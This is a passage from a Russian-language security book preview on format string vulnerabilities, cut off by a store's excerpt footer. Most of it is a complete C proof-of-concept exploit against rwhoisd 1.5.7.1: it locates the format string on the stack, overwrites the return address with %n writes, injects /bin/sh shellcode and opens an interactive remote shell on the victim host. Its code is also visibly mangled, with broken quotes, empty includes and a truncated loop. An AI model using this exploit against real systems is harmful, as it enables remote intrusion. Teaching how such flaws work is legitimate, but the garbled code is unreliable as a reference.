strncat(str,“%227x”,5); // padding
strncat(str,“%n”,2); // first write
strncat(str,“%92x”,4); // padding
strncat(str,“%n”,2); // second write
strncat(str,“%262x”,5); // padding
strncat(str,“%n”,2); // third write
strncat(str,“%192x”,5); // padding
strncat(str,“%n”,2); // fourth write
Следует отметить, что используемые в спецификации преобразования значения ширины выводимого поля полностью зависят от общего числа символов в отформатированной строке. При выводе отформатированной строки значение ширины поля можно определить автоматически программным способом.
Как только адрес возврата функции будет переписан, функция vfprintf() завершится обычным образом, злонамеренный управляющий программный код будет выполнен, а функция print_error() завершена. На рисунке 9.2 показан пример успешного использования уязвимости форматирующей строки.
Рис. 9.2. Использование уязвимости форматирующей строки программы rwhoisd для проникновения на хост
Ниже приведен исходный текст программы атаки:
// proof of concept
// written for rwhoisd 1.5.7.1 compiled on a Linux/i386 system
//
// overwrites return address at 0xbffff8c8 and replaces it with
// address of shellcode (for this binary)
// the shellcode is based on that which was included
// in an exploit written by ‘CowPower’.
// http://www.securityfocus.com/archive/1/222756
#include
#include
#include
#include
#include
#include
#include
extern int errno;
#define FINDME 0x62626262 // we need to find this in the stack
#define TARGET 0xbffff8c8 // the address that we are
overwriting
void gen_str(char *str, int found,int target);
unsigned int brute_force(int s, char *str,char *reply);
void session(int s);
int main(int argc, char *argv[])
{
int s;
fd_set fd;
int amt;
struct sockaddr_in sa;
struct sockaddr_in ca;
int where = 0;
char reply[5000]; // receive buffer
char str[1000]; // send buffer
str[0] = “-”; // – directive prefix
str[1] = “s”;
str[2] = “o”;
str[3] = “a”;
str[4] = “ ”; // padding
str[5] = “ ”; // padding
str[6] = “ ”; // padding
str[7] = “ ”; // padding
*((long *)(str+8)) = FINDME; // find me in the stack
str[12] = “\0”;
bzero(&ca,sizeof(struct sockaddr_in));
bzero(&sa,sizeof(struct sockaddr_in));
if ((s = socket(AF_INET, SOCK_STREAM, 0)) < 0)
{
perror(“socket:”);
}
if (bind(s,&ca,sizeof(struct sockaddr_in)) < 0)
{
perror(”bind:”);
}
sa.sin_addr.s_addr = inet_addr(“127.0.0.1”);
sa.sin_port = htons(4321);
sa.sin_family = AF_INET;
if (connect(s,&sa,sizeof(struct sockaddr_in)) < 0)
{
perror(“connect”);
}
where = brute_force(s,reply,str); // brute force
gen_str(str,where,TARGET); // generate exploit
string
write(s,str,strlen(str)); // send exploit code
while(1)
{
amt = read(s,reply,1);
if (reply[0] == “\n”)
break;
}
write(s,“id;\n”,4);
amt = read(s,reply,1024);
reply[amt] = “\0”;
if ((reply[0] == “u”) && (reply[1] == “i”) && (reply[2]
== “d”))
{
printf(“*b00m*: %s\n”,reply);
session(s);
}
else
{
printf(“exploit attempt unsuccessful..\n”);
}
close(s);
exit(0);
}
unsigned int brute_force(int s,char *reply, char *str)
{
// this function searches the stack on the victim host
// for the format string
int foundit = 0;
int amt = 0;
int i = 0;
amt = read(s,reply,500); // read in the header, junk
reply[amt] = “\0”;
while(!foundit)
{
strncat(str,“%010p”,5);
write(s,str,strlen(str)+1);
write(s,“\n”,1);
amt = read(s,reply,1024);
if (amt == 0)
{
fprintf(stderr,“Connection closed.\n”);
close(s);
exit(-1);
}
reply[amt] = “\0”;
amt = 0;
i = 0;
while(reply[amt-1] != “\n”)
{
i += amt;
amt = read(s, reply+i, 1024);
if (amt == 0)
{
fprintf(stderr,“Connection closed.\n”);
close(s);
exit(-1);
}
}
reply[amt] = “\0”;
foundit = find_addr(reply);
}
}
int find_addr(char *str)
{
// this function parses server output.
// searches in words from the stack for
// the format string
char *ptr;
char segment[11];
unsigned long chekit = 0;
int i = 0;
int foundit = 0;
ptr = str + 6;
while((*ptr != “\0”) && (*ptr != “\n”))
{
if((*ptr == “0”) && (*(ptr+1) == “x”))
{
memcpy(segment,ptr,10);
segment[10] = “\0”;
chekit = strtoul(segment,NULL,16);
if(chekit == FINDME)
{
printf(“*b00m*: found address #1: %i words
away.\n”,i);
foundit = i;
return foundit;
}
ptr += 10;
}
else if ((*ptr == “ ”) && (*(ptr+1) == “ ”))
{
ptr += 10; // 0x00000000
}
i++;
}
return foundit;
}
void gen_str(char *str,int num,int target)
{
// this function generates the exploit string
// it contains the addresses to write to,
// the format specifiers (padding, %n’s)
// and the shellcode
int i;
char *shellcode =
“\x90\x31\xdb\x89\xc3\x43\x89\xcb\x41\xb0\x3f\xcd\x80\xeb\x25\x5e”
“\x89\xf3\x83\xc3\xe0\x89\x73\x28\x31\xc0\x88\x43\x27\x89\x43\x2c”
“\x83\xe8\xf5\x8d\x4b\x28\x8d\x53\x2c\x89\xf3\xcd\x80\x31\xdb”
“\x31\xc0\x40\xcd\x80\xe8\xd6\xff\xff\xff/bin/sh”;
memset(str+8,0x41,992); // clean the buffer
*((long *)(str+8)) = TARGET; // place the addresses
*((long *)(str+16)) = TARGET+1; // in the buffer
*((long *)(str+24)) = TARGET+2;
*((long *)(str+32)) = TARGET+3;
*((long *)(str+36)) = TARGET+4;
str[36] = “\0”;
for(i = 0;i
{
strncat(str,“%x”,2); // work our way to where target is
}
// the following section is binary dependent
strncat(str,“%227x”,5); // padding
strncat(str,“%n”,2); // first write
strncat(str,“%92x”,4); // padding
strncat(str,“%n”,2); // second write
strncat(str,“%262x”,5); // padding
strncat(str,“%n”,2); // third write
strncat(str,“%192x”,5); // padding
strncat(str,“%n”,2); // fourth write
strncat(str,shellcode,strlen(shellcode)); // insert the
shellcode
strncat(str,»\n»,1); // terminate with a newline
}
void session(int s)
{
// this function facilitates communication with a
// shell exec()’d on the victim host.
fd_set fds;
int i;
char buf[1024];
FD_ZERO(&fds);
while(1)
{
FD_SET(s, &fds);
FD_SET(0, &fds);
select(s+1, &fds, NULL, NULL, NULL);
if (FD_ISSET(0,&fds))
{
i = 0;
bzero(buf,sizeof(buf));
fgets(buf,sizeof(buf)-2, stdin);
write(s,buf,strlen(buf));
Читать дальше
Конец ознакомительного отрывка
Купить книгу